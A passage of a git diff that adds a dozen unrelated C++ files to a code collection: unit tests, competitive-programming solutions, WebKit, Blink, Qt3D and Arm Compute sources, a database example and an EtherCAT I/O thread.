CheckFrameSize(InstructionSet::kX86, Runtime::kRefsOnly, x86::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kX86, Runtime::kRefsAndArgs, x86::kFrameSizeRefsAndArgsCalleeSave); +} + +TEST_F(ArchTest, X86_64) { + CheckFrameSize(InstructionSet::kX86_64, Runtime::kSaveAll, x86_64::kFrameSizeSaveAllCalleeSave); + CheckFrameSize(InstructionSet::kX86_64, Runtime::kRefsOnly, x86_64::kFrameSizeRefsOnlyCalleeSave); + CheckFrameSize(InstructionSet::kX86_64, Runtime::kRefsAndArgs, + x86_64::kFrameSizeRefsAndArgsCalleeSave); +} + +} // namespace art diff --git a/pool/shard011/C++/0118470_testElimination.cpp b/pool/shard011/C++/0118470_testElimination.cpp new file mode 100644 index 0000000000000000000000000000000000000000..e13898b7a17e7c170b1af8a14d5ef0d783ce815a --- /dev/null +++ b/pool/shard011/C++/0118470_testElimination.cpp @@ -0,0 +1,50 @@ +/* + pMMF is an open source software library for efficiently computing + the MMF factorization of large matrices. + + Copyright (C) 2015 Risi Kondor, Nedelina Teneva, Pramod Mudrakarta + + This file is part of pMMF. + + pMMF is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + + + +#include "Log.hpp" +#include "MMFmatrix.hpp" + +#include "MatrixX.hpp" +#include "Cmatrix.hpp" +#include "MMFglobal.hpp" + +typedef MatrixXh BLOCK; + +int main(int argc, char** argv) { + + int n = 10; + if (argc >= 2) + sscanf(argv[1], "%d", &n); + + MMFmatrix A(n, Random(), false); + cout << A << endl; + cout << *A.process[0]->gram << endl; + + // for the sparse matrix types, by the end, the Gram matrix is supposed to be all zero. + for (int i = 0; i < n; i++) { + A.process[0]->deactivate(i); + cout << *A.process[0]->gram << endl; + } + +} diff --git a/pool/shard011/C++/0118472_model_utils_unittest.cpp b/pool/shard011/C++/0118472_model_utils_unittest.cpp new file mode 100644 index 0000000000000000000000000000000000000000..1c0e4b85cdafd4767f6108f327e8e7518c4f66a2 --- /dev/null +++ b/pool/shard011/C++/0118472_model_utils_unittest.cpp @@ -0,0 +1,110 @@ +// Copyright 2007 Company Name. All Rights Reserved. +// Author: hjiang@dev-gems.com (Hong Jiang) + +#include "onyx/base/base.h" +#include "testing/testing.h" +#include "node.h" +#include "model_util.h" +#include "common_unittest.h" + +using namespace explorer::model; +using namespace common_unittest; + +namespace +{ + +static const base::string path = "model_utils_unittest"; + +TEST(InvalideNode) +{ + NodeCreateContext ctx; + ctx.type = NODE_TYPE_NULL; + scoped_ptr node(CreateNode(NULL, ctx)); + EXPECT_NULL(node); + ctx.type = static_cast(9999); + node.reset(CreateNode(NULL, ctx)); + EXPECT_NULL(node); +} + +TEST(ValidNode) +{ + NodeCreateContext ctx; + ctx.type = NODE_TYPE_ROOT; + scoped_ptr node1(CreateNode(NULL, ctx)); + EXPECT_NOTNULL(node1); +} + +TEST(GetExtensionName) +{ + base::string file_name_a = "a"; + base::string ext_name_a = ".abc"; + base::string file_a = file_name_a + ext_name_a; + static const FileInfo files [] = + { + {"a.abc", 10}, + {"b.aBc", 20}, + {"c.xyz", 10}, + {"d", 10} + }; + static const int SIZE = sizeof(files) / sizeof(files[0]); + static const base::string EXTENSION_NAME = "abc"; + + CreateTempDirectory(path, files, SIZE); + + // Check extension name of a. + boost::filesystem::path pa(path); + pa /= files[0].path; + base::string ext_a; + GetExtensionName(pa.string(), ext_a); + EXPECT_EQ(ext_a, EXTENSION_NAME); + + // Check extension name of b. + boost::filesystem::path pb(path); + pb /= files[1].path; + base::string ext_b; + GetExtensionName(pb.string(), ext_b); + EXPECT_EQ(ext_b, EXTENSION_NAME); + + // Check extension name of c. + boost::filesystem::path pc(path); + pc /= files[2].path; + base::string ext_c; + GetExtensionName(pc.string(), ext_c); + EXPECT_NE(ext_c, EXTENSION_NAME); + + // Check extension name of d. + boost::filesystem::path pd(path); + pd /= files[3].path; + base::string ext_d; + GetExtensionName(pd.string(), ext_d); + EXPECT_NE(ext_d, EXTENSION_NAME); + + RemoveDirectory(path); +} + + +TEST(GetFileSize) +{ + static const FileInfo files [] = + { + {"a.abc", 10}, + {"b.aBc", 20}, + {"c.xyz", 10}, + }; + static const int SIZE = sizeof(files) / sizeof(files[0]); + + CreateTempDirectory(path, files, SIZE); + + // Check size. + for(int i = 0; i < SIZE; ++i) + { + boost::filesystem::path p(path); + p /= files[i].path; + unsigned int size = GetFileSize(p.string()); + EXPECT_EQ(size, files[i].size); + } + + RemoveDirectory(path); +} + +} diff --git a/pool/shard011/C++/0118474_2718.cc b/pool/shard011/C++/0118474_2718.cc new file mode 100644 index 0000000000000000000000000000000000000000..43d3691dedc026d815a334d5a37b7420c8edbe89 --- /dev/null +++ b/pool/shard011/C++/0118474_2718.cc @@ -0,0 +1,107 @@ +#include +#include + +using namespace std; + +const int INF = 1000000000; +const int MAX_N = 12; +char digits[MAX_N]; +int N; + +char next_digit() +{ + int ch; + while ((ch = getchar()) && ch == ' ') + ; + if (ch == '\n') return -1; + else return ch - '0'; +} + +int min_diff() +{ + sort(digits, digits + N); + if (N == 2) return digits[1] - digits[0]; + + int t = INF, m = INF; + for (int i = 0; i < N - 1; ++i) + { + if (digits[i] != 0) + { + t = digits[i + 1] - digits[i]; + if (t < m) + m = t; + } + } + + const int n = N / 2; + + if ((N & 1) == 1) + { + int a = 0, b = 0; + for (int i = 0; i < n; ++i) + b = b * 10 + digits[--N]; + + int i = 0; + if (digits[0] == 0) + { + if (N > 1) + a = digits[1] * 10; + else a = 0; + i = 2; + } + while (i < N) + a = a * 10 + digits[i++]; + + return a - b; + } + + int diff = INF, ta, tb; + for (int i = 0; i < N - 1; ++i) + { + ta = digits[i + 1]; + tb = digits[i]; + if (digits[i] != 0 && ta - tb == m) + { + int c = 1; + for (int j = 0; j < N; ++j) + { + if (j != i && j != i + 1) + { + if (c >= n) break; + ta = ta * 10 + digits[j]; + c++; + } + } + c = 1; + for (int j = N-1; j >= 0; --j) + { + if (j != i && j != i + 1) + { + if (c >= n) break; + tb = tb * 10 + digits[j]; + c++; + } + } + if (ta - tb < diff) + diff = ta - tb; + } + } + + return diff; +} + +int main() +{ + int n; + scanf("%d\n", &n); + int d = 0; + while (n-- > 0) + { + N = 0; + while ((d = next_digit()) != -1) + digits[N++] = d; + printf("%d\n", min_diff()); + } + + return 0; +} diff --git a/pool/shard011/C++/0118475_KeyframeList.cpp b/pool/shard011/C++/0118475_KeyframeList.cpp new file mode 100644 index 0000000000000000000000000000000000000000..78d4901e3dcd3274100ca30738d6a76afc36e9a7 --- /dev/null +++ b/pool/shard011/C++/0118475_KeyframeList.cpp @@ -0,0 +1,114 @@ +/* + * Copyright (C) 1999 Antti Koivisto (koivisto@kde.org) + * Copyright (C) 2004, 2005, 2006, 2007, 2008 Apple Inc. All rights reserved. + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public License + * along with this library; see the file COPYING.LIB. If not, write to + * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + * Boston, MA 02110-1301, USA. + * + */ + +#include "config.h" +#include "KeyframeList.h" + +#include "Animation.h" +#include "RenderObject.h" + +namespace WebCore { + +TimingFunction* KeyframeValue::timingFunction(const AtomicString& name) const +{ + const RenderStyle* keyframeStyle = style(); + if (!keyframeStyle || !keyframeStyle->animations()) + return nullptr; + + for (size_t i = 0; i < keyframeStyle->animations()->size(); ++i) { + const Animation& animation = keyframeStyle->animations()->animation(i); + if (name == animation.name()) + return animation.timingFunction().get(); + } + + return nullptr; +} + +KeyframeList::~KeyframeList() +{ + clear(); +} + +void KeyframeList::clear() +{ + m_keyframes.clear(); + m_properties.clear(); +} + +bool KeyframeList::operator==(const KeyframeList& o) const +{ + if (m_keyframes.size() != o.m_keyframes.size()) + return false; + + Vector::const_iterator it2 = o.m_keyframes.begin(); + for (Vector::const_iterator it1 = m_keyframes.begin(); it1 != m_keyframes.end(); ++it1) { + if (it1->key() != it2->key()) + return false; + const RenderStyle& style1 = *it1->style(); + const RenderStyle& style2 = *it2->style(); + if (style1 != style2) + return false; + ++it2; + } + + return true; +} + +void KeyframeList::insert(const KeyframeValue& keyframe) +{ + if (keyframe.key() < 0 || keyframe.key() > 1) + return; + + bool inserted = false; + bool replaced = false; + for (size_t i = 0; i < m_keyframes.size(); ++i) { + if (m_keyframes[i].key() == keyframe.key()) { + m_keyframes[i] = keyframe; + replaced = true; + break; + } + + if (m_keyframes[i].key() > keyframe.key()) { + // insert before + m_keyframes.insert(i, keyframe); + inserted = true; + break; + } + } + + if (!replaced && !inserted) + m_keyframes.append(keyframe); + + if (replaced) { + // We have to rebuild the properties list from scratch. + m_properties.clear(); + for (Vector::const_iterator it = m_keyframes.begin(); it != m_keyframes.end(); ++it) { + const KeyframeValue& currKeyframe = *it; + for (HashSet::const_iterator it = currKeyframe.properties().begin(); it != currKeyframe.properties().end(); ++it) + m_properties.add(*it); + } + } else { + for (HashSet::const_iterator it = keyframe.properties().begin(); it != keyframe.properties().end(); ++it) + m_properties.add(*it); + } +} + +} // namespace WebCore diff --git a/pool/shard011/C++/0118476_do...while_loop.cpp b/pool/shard011/C++/0118476_do...while_loop.cpp new file mode 100644 index 0000000000000000000000000000000000000000..1b905511be5ae8b11216c4812cb169c349a5cebd --- /dev/null +++ b/pool/shard011/C++/0118476_do...while_loop.cpp @@ -0,0 +1,38 @@ +#include +main() +{ + int i,j,n; + + printf("Declare Array Size:"); + scanf("%d",&n); + + int a[n]; + + printf("Enter the Elements:\n"); + for(i=0;i +#include +#include +#include +using namespace std; +inline int idx(char c){return c-'a';} +struct Trie +{ + int cnt; + struct Trie *next[26]; + Trie() + { + cnt = 0; + memset(next,0,sizeof(next)); + } +}; + +Trie *root; +void Insert(char *word) +{ + Trie *p = root; + for(int i = 0;word[i] !='\0';i++) + { + int x = idx(word[i]); + if(p->next[x] == NULL) + { + p->next[x] = new Trie; + } + p = p->next[x]; + p->cnt++; + } +} +void Search(char *word) +{ + Trie *p = root; + for(int i = 0;word[i] != '\0';i++) + { + int x = idx(word[i]); + if(p->cnt == 1) + { + break; + } + printf("%c",word[i]); + p = p->next[x]; + } + printf("\n"); +} +char str[1005][25]; +int main() +{ + int num = 0; + root = new Trie; + while(scanf("%s",str[num]) != EOF) + { + Insert(str[num]); + num++; + } + for(int i = 0;i < num;i++) + { + printf("%s ",str[i]); + Search(str[i]); + }// + return 0; +} diff --git a/pool/shard011/C++/0118478_StorageClientImpl.cpp b/pool/shard011/C++/0118478_StorageClientImpl.cpp new file mode 100644 index 0000000000000000000000000000000000000000..892ffca292aeb49f54649bd5f4b520aa1f7e012f --- /dev/null +++ b/pool/shard011/C++/0118478_StorageClientImpl.cpp @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2009 Google Inc. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY GOOGLE INC. ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GOOGLE INC. OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY + * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "web/StorageClientImpl.h" + +#include "modules/storage/StorageNamespace.h" +#include "public/platform/WebStorageNamespace.h" +#include "public/web/WebContentSettingsClient.h" +#include "public/web/WebViewClient.h" +#include "web/WebLocalFrameImpl.h" +#include "web/WebViewImpl.h" +#include "wtf/PtrUtil.h" +#include + +namespace blink { + +StorageClientImpl::StorageClientImpl(WebViewImpl* webView) + : m_webView(webView) {} + +std::unique_ptr +StorageClientImpl::createSessionStorageNamespace() { + if (!m_webView->client()) + return nullptr; + return wrapUnique(new StorageNamespace( + wrapUnique(m_webView->client()->createSessionStorageNamespace()))); +} + +bool StorageClientImpl::canAccessStorage(LocalFrame* frame, + StorageType type) const { + WebLocalFrameImpl* webFrame = WebLocalFrameImpl::fromFrame(frame); + return !webFrame->contentSettingsClient() || + webFrame->contentSettingsClient()->allowStorage(type == LocalStorage); +} + +} // namespace blink diff --git a/pool/shard011/C++/0118480_deleteRecords_c.cpp b/pool/shard011/C++/0118480_deleteRecords_c.cpp new file mode 100644 index 0000000000000000000000000000000000000000..b16375f1b32ac198967186d48bd085f304eda93e --- /dev/null +++ b/pool/shard011/C++/0118480_deleteRecords_c.cpp @@ -0,0 +1,60 @@ +#include +#include + +using namespace bzs::db::protocol::tdap::client; +using namespace bzs::db::protocol::tdap; + +/** +@brief read and delete example + +This program deletes one record of a "user" table. + + +Please execute "create database" , "change schema" and "insert records" example + before execute this example. + +*/ + +static const short fieldnum_id = 0; +static const char_td keynum_id = 0; + +void deleteUser(table_ptr tb) +{ + // Seek record that user id = 3 "satoshi" + indexIterator it = readIndex_v(tb, eSeekEqual, keynum_id, 3); + + if (!it.isEnd()) + deleteRecord(it); // delete id = 3 + else + THROW_BZS_ERROR_WITH_MSG(_T("User id = 3 was not found")); +} + +#pragma argsused +int _tmain(int argc, _TCHAR* argv[]) +{ + database_ptr db = createDatabaseObject(); + try + { + connectParams param(_T("tdap"), _T("localhost"), _T("test"), + _T("test")); + /****************************************************** + !!! Important !!! + When using a multi-threaded, + please request a new connection for each database. + *******************************************************/ + // When using a multi-threaded, set to true. + bool newConnection = false; + connectOpen(db, param, newConnection); + + table_ptr tb = openTable(db, _T("user")); + deleteUser(tb); + std::cout << "Delete records success." << std::endl; + return 0; + } + + catch (bzs::rtl::exception& e) + { + std::tcout << _T("[ERROR] ") << *bzs::rtl::getMsg(e) << std::endl; + } + return 1; +} diff --git a/pool/shard011/C++/0118481_BinaryParser_Test.cpp b/pool/shard011/C++/0118481_BinaryParser_Test.cpp new file mode 100644 index 0000000000000000000000000000000000000000..7f866a08e5f6de0d43f2be879e8939978d8cd868 --- /dev/null +++ b/pool/shard011/C++/0118481_BinaryParser_Test.cpp @@ -0,0 +1,126 @@ +/* + * (C) Copyright 2016 + * Urs Fässler, bbv Software Services, http://bbv.ch + * + * SPDX-License-Identifier: GPL-3.0+ + */ + +#include "../BinaryParser.h" + +#include +#include + +#include +#include + +class BinaryParser_Test : + public testing::Test +{ +public: + presentation::binary::Parser testee; + double dvalue; + std::string svalue; + +}; + +TEST_F(BinaryParser_Test, throws_error_for_invalid_key) +{ + testee.reset(std::vector{100}); + + ASSERT_THROW(testee.parseProperty(), std::invalid_argument); +} + +TEST_F(BinaryParser_Test, throws_error_when_double_value_is_missing) +{ + const auto key = message::propertyNumber(message::Property::Luminosity); + testee.reset(std::vector{key}); + + testee.parseProperty(); + + ASSERT_THROW(testee.parse(dvalue), std::invalid_argument); +} + +TEST_F(BinaryParser_Test, throws_error_when_string_length_is_missing) +{ + const auto key = message::propertyNumber(message::Property::Warning); + testee.reset(std::vector{key}); + + testee.parseProperty(); + + ASSERT_THROW(testee.parse(svalue), std::invalid_argument); +} + +TEST_F(BinaryParser_Test, throws_error_when_string_length_is_too_big) +{ + const auto key = message::propertyNumber(message::Property::Warning); + testee.reset(std::vector{key, 4, 'a', 'a', 'a'}); + + testee.parseProperty(); + + ASSERT_THROW(testee.parse(svalue), std::invalid_argument); +} + +TEST_F(BinaryParser_Test, an_empty_message_is_valid) +{ + testee.reset(std::vector{}); + + ASSERT_FALSE(testee.hasMore()); +} + +TEST_F(BinaryParser_Test, decode_luminosity) +{ + const auto key = message::propertyNumber(message::Property::Luminosity); + testee.reset(std::vector{key, 57}); + + ASSERT_EQ(message::Property::Luminosity, testee.parseProperty()); +} + +TEST_F(BinaryParser_Test, decode_double) +{ + const auto key = message::propertyNumber(message::Property::Luminosity); + testee.reset(std::vector{key, 57}); + testee.parseProperty(); + + testee.parse(dvalue); + + ASSERT_NEAR(0.57, dvalue, 0.001); +} + +TEST_F(BinaryParser_Test, decode_warning) +{ + const auto key = message::propertyNumber(message::Property::Warning); + testee.reset(std::vector{key, 4, 'd', 'o', 'h', '!'}); + + ASSERT_EQ(message::Property::Warning, testee.parseProperty()); +} + +TEST_F(BinaryParser_Test, decode_string) +{ + const auto key = message::propertyNumber(message::Property::Warning); + testee.reset(std::vector{key, 4, 'd', 'o', 'h', '!'}); + testee.parseProperty(); + + testee.parse(svalue); + + ASSERT_EQ("doh!", svalue); +} + +TEST_F(BinaryParser_Test, decode_2_values) +{ + const auto key1 = message::propertyNumber(message::Property::Warning); + const auto key2 = message::propertyNumber(message::Property::Luminosity); + testee.reset(std::vector{key1, 4, 'd', 'o', 'h', '!', key2, 22}); + + ASSERT_EQ(message::Property::Warning, testee.parseProperty()); + testee.parse(svalue); + + ASSERT_EQ(message::Property::Luminosity, testee.parseProperty()); + testee.parse(dvalue); + + ASSERT_FALSE(testee.hasMore()); + + ASSERT_NEAR(0.22, dvalue, 0.001); + ASSERT_EQ("doh!", svalue); +} + +//TODO add test when reading a double but a string is provided diff --git a/pool/shard011/C++/0118482_expandboundingvolumejob.cpp b/pool/shard011/C++/0118482_expandboundingvolumejob.cpp new file mode 100644 index 0000000000000000000000000000000000000000..5ea2f1b310cc37cc365823699ad6b1b72393efc2 --- /dev/null +++ b/pool/shard011/C++/0118482_expandboundingvolumejob.cpp @@ -0,0 +1,113 @@ +/**************************************************************************** +** +** Copyright (C) 2014 Klaralvdalens Datakonsult AB (KDAB). +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt3D module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "expandboundingvolumejob_p.h" + +#include +#include +#include +#include +#include +#include + +#include + +QT_BEGIN_NAMESPACE + +namespace Qt3DRender { +namespace Render { + +namespace { + +void expandWorldBoundingVolume(NodeManagers *manager, Entity *node) +{ + // Go to the nodes that have the most depth + const auto &childrenHandles = node->childrenHandles(); + for (const HEntity &handle : childrenHandles) { + Entity *c = manager->renderNodesManager()->data(handle); + if (c && c->isEnabled()) + expandWorldBoundingVolume(manager, c); + } + + // Then traverse back from leaf to root + // Initialize parent bounding volume to be equal to that of the first child + if (!childrenHandles.empty()) { + Qt3DRender::Render::Sphere *parentBoundingVolume = node->worldBoundingVolumeWithChildren(); + for (const HEntity &handle : childrenHandles) { + Entity *c = manager->renderNodesManager()->data(handle); + if (c && c->isEnabled()) + parentBoundingVolume->expandToContain(*c->worldBoundingVolumeWithChildren()); + } + } +} + +} + +ExpandBoundingVolumeJob::ExpandBoundingVolumeJob() + : m_node(nullptr) + , m_manager(nullptr) +{ + SET_JOB_RUN_STAT_TYPE(this, JobTypes::ExpandBoundingVolume, 0) +} + +void ExpandBoundingVolumeJob::setRoot(Entity *root) +{ + m_node = root; +} + +void ExpandBoundingVolumeJob::setManagers(NodeManagers *manager) +{ + m_manager = manager; +} + +void ExpandBoundingVolumeJob::run() +{ + // Expand worldBoundingVolumeWithChildren of each node that has children by the + // bounding volumes of the children. + + // TODO: Implement this using a parallel_for + qCDebug(Jobs) << "Entering" << Q_FUNC_INFO << QThread::currentThread(); + expandWorldBoundingVolume(m_manager, m_node); + qCDebug(Jobs) << "Exiting" << Q_FUNC_INFO << QThread::currentThread(); +} + +} // namespace Render +} // namespace Qt3DRender + +QT_END_NAMESPACE diff --git a/pool/shard011/C++/0118483_iothread.cpp b/pool/shard011/C++/0118483_iothread.cpp new file mode 100644 index 0000000000000000000000000000000000000000..4a0f7e270b822f6b2af2d807cdf4bbf2fd790ac8 --- /dev/null +++ b/pool/shard011/C++/0118483_iothread.cpp @@ -0,0 +1,233 @@ +/* Copyright (C) 2012 John Erlandsson + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +*/ + +#include "iothread.h" +#include + +IoThread::IoThread( QObject */*parent*/ ) +{ + /* Process data */ + + //EL3202 + domainRegs[0].alias = AnaInAlias; + domainRegs[0].position = AnaInPos; + domainRegs[0].vendor_id = 0x00000002; + domainRegs[0].product_code = 0x0c823052; + domainRegs[0].index = 0x6000; + domainRegs[0].subindex = 1; + domainRegs[0].offset = &offAnaIn; + domainRegs[0].bit_position = NULL; + + //EL2004 + domainRegs[1].alias = DigOutAlias; + domainRegs[1].position = DigOutPos; + domainRegs[1].vendor_id = 0x00000002; + domainRegs[1].product_code = 0x07d43052; + domainRegs[1].index = 0x7000; + domainRegs[1].subindex = 1; + domainRegs[1].offset = &offDigOut; + domainRegs[1].bit_position = NULL; + + domainRegs[2].alias = 0; + domainRegs[2].position = 0; + domainRegs[2].vendor_id = 0; + domainRegs[2].product_code = 0; + domainRegs[2].index = 0; + domainRegs[2].subindex = 0; + domainRegs[2].offset = NULL; + domainRegs[2].bit_position = NULL; + + //qDebug() << "Configuring master..."; + + ec_slave_config_t *sc; + + master = ecrt_request_master( 0 ); + if( !master ) + { + fprintf( stderr, "Failed to create master." ); + exit( EXIT_FAILURE ); + } + + domain = ecrt_master_create_domain( master ); + if( !domain ) + { + fprintf( stderr, "Failed to create domain." ); + exit( EXIT_FAILURE ); + } + + if( !( sc_ana_in = ecrt_master_slave_config( master, AnaInAlias, AnaInPos, Beckhoff_EL3202 ) ) ) + { + fprintf( stderr, "Failed to get slave configuration" ); + exit( EXIT_FAILURE ); + } + + sc = ecrt_master_slave_config( master, BusCouplerAlias, BusCouplerPos, Beckhoff_EK1100 ); + if( !sc ) + exit( EXIT_FAILURE ); + + if( ecrt_domain_reg_pdo_entry_list( domain, domainRegs ) ) + { + fprintf( stderr, "PDO entry registration failed!\n" ); + exit( EXIT_FAILURE ); + } + + //Activating master + //qDebug() << "Activating master"; + + if( ecrt_master_activate( master ) ) + { + fprintf( stderr, "Failed to activate master" ); + exit( EXIT_FAILURE ); + } + + if( !( domainPd = ecrt_domain_data( domain ) ) ) + { + fprintf( stderr, "Failed to return process data" ); + exit( EXIT_FAILURE ); + } + + // Send and receive a couple of times to get things started... + for( int i = 0; i < 3000; i++ ) + { + ecrt_master_receive( master ); + ecrt_domain_process( domain ); + EC_WRITE_U8( domainPd + offDigOut, 0x00 ); + ecrt_domain_queue( domain ); + ecrt_master_send( master ); + usleep( 500 ); + } + + outp0Value = false; + outp1Value = false; + outp2Value = false; + outp3Value = false; + + AnalogInput1Value = 0; +} + + +void IoThread::run() +{ + running = true; + + while( running ) + { + ecrt_master_receive( master ); + ecrt_domain_process( domain ); + + mutex.lock(); + + AnalogInput1Value = (double)EC_READ_U16( domainPd + offAnaIn + 2 ) / 10; + + unsigned char tmpOutp = 0; + if( outp0Value ) + tmpOutp = 1; + if( outp1Value ) + tmpOutp += 2; + if( outp2Value ) + tmpOutp += 4; + if( outp3Value ) + tmpOutp += 8; + + mutex.unlock(); + + EC_WRITE_U8( domainPd + offDigOut, tmpOutp ); + + ecrt_domain_queue( domain ); + ecrt_master_send( master ); + + usleep( 1000 ); + } +} + +void IoThread::stop() +{ + running = false; +} + +double IoThread::getAnalogInput1() +{ + mutex.lock(); + double ret = AnalogInput1Value; + mutex.unlock(); + + return ret; +} + +void IoThread::setDigitalOutput0( bool value ) +{ + mutex.lock(); + outp0Value = value; + mutex.unlock(); +} + +bool IoThread::getDigitalOutput0() +{ + mutex.lock(); + bool ret = outp0Value; + mutex.unlock(); + + return ret; +} + +void IoThread::setDigitalOutput1( bool value ) +{ + mutex.lock(); + outp1Value = value; + mutex.unlock(); +} + +bool IoThread::getDigitalOutput1() +{ + mutex.lock(); + bool ret = outp1Value; + mutex.unlock(); + + return ret; +} + +void IoThread::setDigitalOutput2( bool value ) +{ + mutex.lock(); + outp2Value = value; + mutex.unlock(); +} + +bool IoThread::getDigitalOutput2() +{ + mutex.lock(); + bool ret = outp2Value; + mutex.unlock(); + + return ret; +} + +void IoThread::setDigitalOutput3( bool value ) +{ + mutex.lock(); + outp3Value = value; + mutex.unlock(); +} + +bool IoThread::getDigitalOutput3() +{ + mutex.lock(); + bool ret = outp3Value; + mutex.unlock(); + + return ret; +} diff --git a/pool/shard011/C++/0118485_NEInstanceNormalizationLayerKernel.cpp b/pool/shard011/C++/0118485_NEInstanceNormalizationLayerKernel.cpp new file mode 100644 index 0000000000000000000000000000000000000000..71641404bf9e07cffd8118946608c9f048bed4ce --- /dev/null +++ b/pool/shard011/C++/0118485_NEInstanceNormalizationLayerKernel.cpp @@ -0,0 +1,173 @@ +/* + * Copyright (c) 2019-2022 Arm Limited. + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to + * deal in the Software without restriction, including without limitation the + * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +#include "src/core/NEON/kernels/NEInstanceNormalizationLayerKernel.h" + +#include "arm_compute/core/Error.h" +#include "arm_compute/core/Helpers.h" +#include "arm_compute/core/ITensor.h" +#include "arm_compute/core/KernelDescriptors.h" +#include "arm_compute/core/TensorInfo.h" +#include "arm_compute/core/Utils.h" +#include "arm_compute/core/Validate.h" +#include "arm_compute/core/Window.h" +#include "src/core/CPP/Validate.h" +#include "src/core/NEON/NEMath.h" +#include "src/core/NEON/wrapper/wrapper.h" +#include "src/core/common/Registrars.h" +#include "src/core/helpers/AutoConfiguration.h" +#include "src/core/helpers/WindowHelpers.h" +#include "src/cpu/kernels/instancenorm/list.h" + +#include + +namespace arm_compute +{ +namespace +{ +struct InstanceNormSelectorData +{ + DataType dt; +}; + +using InstanceNormSelctorPtr = std::add_pointer::type; +using InstanceNormUKernelPtr = std::add_pointer::type; + +struct InstanceNormKernel +{ + const char *name; + const InstanceNormSelctorPtr is_selected; + InstanceNormUKernelPtr ukernel; +}; + +static const InstanceNormKernel available_kernels[] = +{ + { + "fp32_neon_instancenorm", + [](const InstanceNormSelectorData & data) { return data.dt == DataType::F32; }, + REGISTER_FP32_NEON(arm_compute::cpu::neon_fp32_instancenorm) + }, +#ifdef __ARM_FEATURE_FP16_VECTOR_ARITHMETIC + { + "fp16_neon_instancenorm", + [](const InstanceNormSelectorData & data) { return data.dt == 